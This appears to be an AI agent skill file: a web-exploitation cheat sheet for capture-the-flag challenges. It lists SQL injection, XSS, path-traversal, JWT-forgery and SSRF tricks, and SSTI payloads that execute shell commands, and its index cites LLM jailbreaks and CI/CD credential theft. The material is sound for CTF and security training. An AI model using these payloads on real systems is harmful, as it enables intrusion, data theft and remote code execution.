| name | ctf-web |
| description | Provides web exploitation techniques for CTF challenges. Use when solving web security challenges involving XSS, SQLi, SSTI, SSRF, CSRF, XXE, file upload bypasses, JWT attacks, prototype pollution, path traversal, command injection, LaTeX injection, request smuggling, DOM clobbering, Web3/blockchain, authentication bypass, SAML exploitation, OAuth/OIDC, open redirect chains, subdomain takeover, or CI/CD credential theft. |
| license | MIT |
| compatibility | Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation. |
| allowed-tools | Bash Read Write Edit Glob Grep Task WebFetch WebSearch |
| metadata | {"user-invocable":"false"} |
CTF Web Exploitation
Quick reference for web CTF challenges. Each technique has a one-liner here; see supporting files for full details with payloads and code.
Prerequisites
Python packages (all platforms):
pip install sqlmap flask-unsign requests
Linux (apt):
apt install hashcat jq curl
macOS (Homebrew):
brew install hashcat jq curl
Go tools (all platforms, requires Go):
go install github.com/ffuf/ffuf/v2@latest
Manual install:
- ysoserial — GitHub, requires Java (Java deserialization payloads)
Additional Resources
- server-side.md - Core server-side injection attacks: SQLi (EXIF metadata injection, MySQL column truncation, backslash/hex bypass, second-order, LIKE brute-force, processList trick, XML entity WAF bypass, Shift-JIS encoding bypass), SSTI (Jinja2, Go, EJS, ERB Sequel bypass, Mako, Twig,
__dict__.update() quote bypass), SSRF (Host header, DNS rebinding, curl redirect), XXE, XML injection via X-Forwarded-For header, command injection (newline, blocklist bypass, sendmail, multi-barcode, git CLI newline injection), PHP type juggling, PHP file inclusion / php://filter
- server-side-exec.md - Code execution and server-side access attacks: Ruby/Perl/JS code injection, LaTeX injection RCE, PHP preg_replace /e RCE, Prolog injection, Common Lisp #.() reader macro injection, ReDoS timing oracle, file upload→RCE (.htaccess, log poisoning, Python .so hijack, Gogs symlink, ZipSlip), PHP deserialization from cookies, PHP extract() variable overwrite, XPath blind injection, Thymeleaf SpEL SSTI + Spring FileCopyUtils WAF bypass, SQLi keyword fragmentation bypass, SQL WHERE ORDER BY bypass, SQL injection via DNS records, bash brace expansion space-free injection, API filter injection, WebSocket mass assignment, PHP7 OPcache binary webshell + LD_PRELOAD disable_functions bypass, wget GET parameter filename trick, tar filename command injection, PNG/PHP polyglot upload + double extension + disable_functions bypass
- server-side-deser.md - Deserialization and execution attacks: Java deserialization (ysoserial gadget chains, JNDI injection, blind detection), Python pickle RCE (
__reduce__, restricted unpickler bypass, STOP opcode chaining), PHP serialization length manipulation via filter word expansion, race conditions (TOCTOU async exploits, double-spend, coupon reuse)
- server-side-advanced.md - Advanced server-side techniques: ExifTool CVE-2021-22204, Go rune/byte mismatch, zip symlink traversal, path traversal bypasses (brace stripping, double URL encoding, os.path.join, %2f), Flask/Werkzeug debug mode, XXE external DTD filter bypass, WeasyPrint SSRF, MongoDB regex injection, Pongo2 Go template injection, ZIP PHP webshell, basename() bypass, React Server Components Flight RCE (CVE-2025-55182)
- server-side-advanced-2.md - Advanced server-side techniques (Part 2): SSRF to Docker API RCE chain, Castor XML xsi:type deserialization (Atlas HTB), Apache ErrorDocument expression file read (Zero HTB), SQLite file path traversal to bypass string equality, HQL injection via non-breaking space, base64-encoded path traversal, Windows 8.3 short filename bypass, URL parse_url @ symbol bypass, PHP zip:// wrapper LFI via PNG/ZIP polyglot, XSS to SSTI chain via Flask error pages, INSERT INTO dual-field SQLi column shift, session cookie forgery via timestamp-seeded PRNG, SSRF via parse_url/curl double-@ URL parsing discrepancy, LaTeX RCE via mpost restricted write18 bypass
- client-side.md - Client-side attacks: XSS, CSRF, CSPT, cache poisoning, DOM tricks, React input filling, hidden elements, XS-Leak timing oracle, GraphQL CSRF, admin bot javascript: URL scheme bypass, shadow DOM XSS, DOM clobbering, HTTP request smuggling, JPEG+HTML polyglot XSS, JSFuck decoding, CSS/JS paywall bypass
- client-side-advanced.md - Advanced client-side attacks: Unicode case folding XSS bypass (long-s U+017F), CSS font glyph container query exfiltration, Hyperscript CDN CSP bypass, PBKDF2 prefix timing oracle, client-side HMAC bypass via leaked JS secret, terminal control character obfuscation, CSP bypass via cloud function whitelisted domain, CSP nonce bypass via base tag hijacking, XSSI via JSONP callback exfiltration, CSP bypass via link prefetch, cross-origin XSS via shared parent domain cookie injection, XSS dot-filter bypass via decimal IP and bracket notation
- auth-and-access.md - Auth/authz attacks: password inference, weak validation, client-side gates, NoSQL auth bypass, cookie manipulation, admin login route cookie seeding, host header bypass, always-true hash check, affine cipher OTP brute-force, /proc/self/mem via HTTP Range requests, custom linear MAC forgery, hidden API endpoints, HAProxy/Express.js bypass, IDOR on WIP endpoints, HTTP TRACE method bypass, LLM/AI chatbot jailbreak, LLM safety model category gaps, open redirect chains (OAuth token theft), subdomain takeover, Apache mod_status info disclosure + session forging, JA4/JA4H TLS fingerprint matching
- auth-jwt.md - JWT/JWE token attacks: algorithm none, RS256→HS256 confusion, weak secret, unverified signature, JWK/JKU header injection, KID path traversal, balance replay, JWE forgery with exposed public key
- auth-infra.md - Infrastructure auth: OAuth/OIDC exploitation (redirect_uri bypass, token manipulation, state CSRF), CORS misconfiguration, git history credential leakage, CI/CD variable theft, identity provider API takeover (authentik/Keycloak), SAML SSO flow automation, Guacamole parameter extraction, login page poisoning, TeamCity REST API RCE, base64 decode leniency signature bypass
- node-and-prototype.md - Node.js: prototype pollution, VM sandbox escape, Happy-DOM chain, flatnest CVE, Lodash+Pug AST injection
- web3.md - Blockchain/Web3: Solidity exploits, proxy patterns, ABI encoding tricks, transient storage clearing collision (0.8.28-0.8.33), Foundry tooling
- cves.md - CVE-specific exploits: Next.js middleware bypass, curl credential leak, Uvicorn CRLF, urllib scheme bypass, Chrome referrer leak via Link header, TCP packet splitting firewall bypass, Puppeteer JS bypass, python-dotenv injection, HTTP request splitting (RFC 2047), Waitress WSGI cookie exfil, Deno import map hijack, Gogs symlink RCE (CVE-2025-8110), ExifTool DjVu, broken auth, AAEncode/JJEncode, protocol multiplexing, WeasyPrint attachment SSRF (CVE-2024-28184), React Server Components Flight RCE (CVE-2025-55182), Ruby-SAML XPath digest smuggling (CVE-2024-45409, Barrier HTB), PaperCut NG auth bypass + RCE (CVE-2023-27350, Bamboo HTB), Zabbix blind SQLi (CVE-2024-22120, Watcher HTB)
Web Recon Helper (web_recon.py)
Fast HTML inspection without saving to disk. Located at web_recon.py in this skill folder.
python .agents/skills/ctf-web/web_recon.py http://target:1337/
python .agents/skills/ctf-web/web_recon.py http://target:1337/ map
Import in Python scripts:
import sys
sys.path.insert(0, r'c:\CTFRun\.agents\skills\ctf-web')
from web_recon import inspect, post_test, sqli_via_field, map_site
r = inspect("http://target:1337/login")
post_test("http://target:1337/login", payloads={
"sqli_or": {"username": "' OR 1=1--", "password": "x"},
"normal": {"username": "admin", "password": "admin"},
}, extra_fields={"email": "test@test.com"})
s = sqli_via_field(
signup_url="http://target:1337/signup",
login_url="http://target:1337/login",
payload="' UNION SELECT sqlite_version(),'1','2'--",
extra_signup={"email": "test@test.com"}
)
map_site("http://target:1337/", cookie={"session": "abc123"})
inspect() auto-extracts: forms, input names, links, HTML comments, Set-Cookie/Location headers, and flag patterns (picoCTF{...} etc.).
Reconnaissance
- View source for HTML comments, check JS/CSS files for internal APIs
- Look for
.map source map files
- Check response headers for custom X- headers and auth hints
- Common paths:
/robots.txt, /sitemap.xml, /.well-known/, /admin, /api, /debug, /.git/, /.env
- Search JS bundles:
grep -oE '"/api/[^"]+"' for hidden endpoints
- Check for client-side validation that can be bypassed
- Compare what the UI sends vs. what the API accepts (read JS bundle for all fields)
- Check assets returning 404 status —
favicon.ico, robots.txt may contain data despite error codes: strings favicon.ico | grep -i flag
- Tor hidden services:
feroxbuster -u 'http://target.onion/' -w wordlist.txt --proxy socks5h://127.0.0.1:9050 -t 10 -x .txt,.html,.bak
SQL Injection Quick Reference
Detection: Send ' — syntax error indicates SQLi
' OR '1'='1 # Classic auth bypass
' OR 1=1-- # Comment termination
username=\&password= OR 1=1-- # Backslash escape quote bypass
' UNION SELECT sql,2,3 FROM sqlite_master
0x6d656f77 # Hex encoding for 'meow' (bypass quotes)
XML entity encoding: UNION → UNION after XML parser decodes, bypasses WAF keyword filters.
EXIF metadata injection: embed SQL in image EXIF fields (exiftool -Comment="' UNION SELECT flag FROM flags--" image.jpg) to bypass WAFs that only inspect HTTP parameters.
Shift-JIS encoding bypass: \u00a5 (yen sign) maps to 0x5c (backslash) in SJIS, defeating Unicode-layer escape functions. See server-side.md.
SQL via QR codes: embed SQLi payload in QR image data; server decodes and queries without sanitization. See server-side.md.
SQL double-keyword filter bypass: nest stripped keyword inside itself (selselectect) so single-pass removal reconstructs it. See server-side.md.
See server-side.md for second-order SQLi, LIKE brute-force, MySQL column truncation, SQLi→SSTI chains, XML entity WAF bypass, EXIF metadata injection. See server-side-exec.md for SQLi via DNS records, SQLi keyword fragmentation, PHP preg_replace /e RCE, Prolog injection.
XSS Quick Reference
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Filter bypass: hex \x3cscript\x3e, entities <script>, case mixing <ScRiPt>, event handlers.
- XSS dot-filter bypass: Decimal IP (
1558071511 = 92.123.45.67) eliminates dots from URLs. JavaScript bracket notation (document["cookie"]) replaces dot property access. See client-side-advanced.md.
- Cross-origin cookie XSS: Set cookie with
domain=.parent.tld from one subdomain to inject XSS payload rendered on a sibling subdomain. See client-side-advanced.md.
See client-side.md for DOMPurify bypass, cache poisoning, CSPT, React input tricks.
XSSI via JSONP Callback Exfiltration
JSONP endpoint (?callback=func) wraps sensitive data in a function call. Load cross-origin via <script src> with custom callback to exfiltrate. Chain: SHA1 cookie inversion -> IDOR on debug endpoint -> XSSI -> cloud function OOB. See client-side-advanced.md.
Path Traversal / LFI Quick Reference
../../../etc/passwd
....//....//....//etc/passwd # Filter bypass
..%2f..%2f..%2fetc/passwd # URL encoding
%252e%252e%252f # Double URL encoding
{.}{.}/flag.txt # Brace stripping bypass
Windows 8.3 short filename bypass: FILEFO~1.EXT short names bypass path filters that check the long filename. See server-side-advanced-2.md.
URL parse_url @ bypass: http://valid@attacker.com/ -- PHP parse_url() extracts attacker.com as host, bypassing domain checks. See server-side-advanced-2.md.
- SSRF double-@ parse discrepancy:
http://x:x@127.0.0.1:80@allowed.host/path — parse_url() sees allowed.host, curl connects to 127.0.0.1. Distinct from single-@ bypass. See server-side-advanced-2.md.
Python footgun: os.path.join('/app/public', '/etc/passwd') returns /etc/passwd
JWT Quick Reference
alg: none — remove signature entirely
- Algorithm confusion (RS256→HS256) — sign with public key
- Weak secret — brute force with hashcat/flask-unsign
- Key exposure — check
/api/getPublicKey, .env, /debug/config
- Balance replay — save JWT, spend, replay old JWT, return items for profit
- Unverified signature — modify payload, keep original signature
- JWK header injection — embed attacker public key in token header
- JKU header injection — point to attacker-controlled JWKS URL
- KID path traversal —
../../../dev/null for empty key, or SQL injection in KID
See auth-jwt.md for full JWT/JWE attacks and session manipulation.
SSTI Quick Reference
Detection: {{7*7}} returns 49
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{.ReadFile "/flag.txt"}}
<%- global.process.mainModule.require('child_process').execSync('id') %>
{{obj.__dict__.update(attr=value) or obj.name}}